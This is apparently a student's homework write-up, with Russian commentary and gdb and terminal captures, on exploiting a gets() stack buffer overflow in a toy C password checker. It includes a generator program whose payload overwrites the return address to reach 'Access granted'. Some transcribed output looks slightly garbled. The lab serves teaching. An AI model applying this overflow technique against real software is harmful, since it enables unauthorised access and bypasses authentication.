

```
Etex: gdb — Console
New Tab Split View
Copy Paste Find...

Etex: gdb
(gdb) b main
Breakpoint 1 at 0x40115a
(gdb) r
Starting program: /home/shulga/Documents/Eltex/executable/hw5_21
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Breakpoint 1, 0x0000000040115a in main ()
(gdb) disassemble
Dump of assembler code for function main:
0x00000000401156 <+0>: push    %rbp
0x00000000401157 <+1>: mov     %rsp,%rbp
=> 0x0000000040115a <+4>: sub     $0x10,%rsp
0x0000000040115e <+8>: lea     0xe9f(%rip),%rax    # 0x402004
0x00000000401165 <+15>: mov     %rax,%rdi
0x00000000401168 <+18>: call    0x401030 <puts@plt>
0x0000000040116d <+23>: call    0x4011aa <IsPassOk>
0x00000000401172 <+28>: mov     %eax,-0x4(%rbp)
0x00000000401175 <+31>: cmpl    $0x0,-0x4(%rbp)
0x00000000401179 <+35>: jne     0x401194 <-main+62>
0x0000000040117b <+37>: lea     0xe92(%rip),%rax    # 0x402014
0x00000000401182 <+44>: mov     %rax,%rdi
0x00000000401185 <+47>: call    0x401030 <puts@plt>
0x0000000040118a <+52>: mov     $0x1,%edi
0x0000000040118f <+57>: call    0x401060 <exit@plt>
0x00000000401194 <+62>: lea     0xe87(%rip),%rax    # 0x402022
0x00000000401199 <+69>: mov     %rax,%rdi
0x0000000040119e <+72>: call    0x401030 <puts@plt>
0x000000004011a3 <+77>: mov     $0x0,%eax
0x000000004011a8 <+82>: leave   %eax
0x000000004011a9 <+83>: ret
End of assembler dump.
(gdb) b IsPassOk
Breakpoint 2 at 0x4011ae
(gdb) disass

Etex: zsh
~/Doc/Eltex P main ?1 cat Homework5/second.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int IsPassOk(void);

int main(void) {
    int PwStatus;

    puts("Enter password:");

    PwStatus = IsPassOk();

    if (PwStatus == 0) {
        printf("Bad password!\n");
        exit(1);
    }
    else
        printf("Access granted!\n");

    return 0;
}

int IsPassOk(void) {
    char Pass[12];

    gets(Pass);

    return 0 == strcmp(Pass, "test");
}
```

- 1 - узнаю название функции проверки пароля
- 2 - команда `jne` отвечает за проверку условия и ведет на `<main+62>`.
тк в первой ветки условия есть ф-я `<exit@plt>`, то нужная ветка находится по адресу `0x401194`, туда и буду "прыгать"
- 3 - искомая ф-я для возврата

```
Etex: gdb — Console
New Tab Split View
Copy Paste Find...

Etex: gdb
0x000000004011a3 <+77>: mov     $0x0,%eax
0x000000004011a8 <+82>: leave   %eax
0x000000004011a9 <+83>: ret
End of assembler dump.
(gdb) b IsPassOk
Note: breakpoint 2 also set at pc 0x4011ae.
Breakpoint 3 at 0x4011ae
(gdb) c
Continuing.
Enter password:

Breakpoint 2, 0x000000004011ae in IsPassOk ()
(gdb) disass
Dump of assembler code for function IsPassOk:
0x000000004011aa <+0>: push    %rbp
=> 0x000000004011ab <+1>: mov     %rsp,%rbp
0x000000004011ae <+4>: sub     $0x10,%rsp
0x000000004011b2 <+8>: lea     -0xc(%rbp),%rax
0x000000004011b5 <+12>: mov     %rax,%rdi
0x000000004011b9 <+15>: call    0x401050 <gets@plt>
0x000000004011be <+20>: lea     -0xc(%rbp),%rax
0x000000004011c2 <+24>: lea     0xe69(%rip),%rdx    # 0x402032
0x000000004011c9 <+31>: mov     %rdx,%rsi
0x000000004011cc <+34>: mov     %rax,%rdi
0x000000004011cf <+37>: call    0x401040 <strcmp@plt>
0x000000004011d4 <+42>: test    %eax,%eax
0x000000004011d6 <+44>: sete    %al
0x000000004011d9 <+47>: movzbl %al,%eax
0x000000004011dc <+50>: leave   %eax
0x000000004011dd <+51>: ret
End of assembler dump.
(gdb) p $rbp
$1 = (void *) 0x7fffffffdb10
(gdb) x/16bx
Argument required (starting display address).
(gdb) x/16bx $rbp
0x7fffffffdb10: 0x30 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdb18: 0x72 0x11 0x40 0x00 0x00 0x00 0x00 0x00
(gdb)

Etex: zsh
~/Doc/Eltex P main ?1 cat Homework5/second.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int IsPassOk(void);

int main(void) {
    int PwStatus;

    puts("Enter password:");

    PwStatus = IsPassOk();

    if (PwStatus == 0) {
        printf("Bad password!\n");
        exit(1);
    }
    else
        printf("Access granted!\n");

    return 0;
}

int IsPassOk(void) {
    char Pass[12];

    gets(Pass);

    return 0 == strcmp(Pass, "test");
}
```

disass для IsPassOk

нахожу адрес `rbp` и вывожу кусок памяти 16 байт от этого регистра, это мне даст информацию, что адрес возврата идет правильно
также вижу инструкцию для выделения эффективной памяти (`lea`) на 12 байт => массив вмещает в себя 12 элементов типа `char`, сразу после `rbp`
далее сохраню все нужные мне адреса и вычисляю нужное кол-во байт для переполнения ($12+8+8$) и перехожу к написанию файла ввода.

```
TestPr: zsh — Konsole
New Tab Split View
~/Documents/TestPr master 14 23 cat main.c
#include <stdio.h>

int main(){
    char n[] = {'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 0x30, 0xd8, 0xff, 0xff, 0xff, 0x7f, 0x10, 0x10, 0x94, 0x11, 0x40, 0x00};
    printf("string: %s\n", n);
    FILE *f = fopen("input.txt", "w");

    if (f){
        fprintf(f, "%s", n);
        fclose(f);
        printf("succes\n");
    }

    return 0;
}

~/Documents/TestPr master 14 23 vim main.c
~/Documents/TestPr master 14 23
```

Эта программа создает файл и вводит туда 12 символов 'a' для массива, 8 мусорных символов для гбп, 3 байта для изменения адреса возврата на <main+62> и нулевой символ конца файла.

```
Eltex: zsh — Konsole
New Tab Split View
~/Doc/Eltex main 71 ./executable/hw5_21 < HomeWork5/input.txt
Enter password:
Access granted!
zsh: bus error (core dumped) ./executable/hw5_21 < HomeWork5/input.txt
~/Doc/Eltex main 71 cat HomeWork5/input.txt
aaaaaaaaaa00000000
~/Doc/Eltex main 71

Eltex: zsh
~/Doc/Eltex main 71 cat HomeWork5/second.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int IsPassOk(void);

int main(void) {
    int PwStatus;

    puts("Enter password:");
    PwStatus = IsPassOk();

    if (PwStatus == 0) {
        printf("Bad password!\n");
        exit(1);
    }
    else
        printf("Access granted!\n");

    return 0;
}

int IsPassOk(void) {
    char Pass[12];

    gets(Pass);

    return 0 == strcmp(Pass, "test");
}

~/Doc/Eltex main 71
```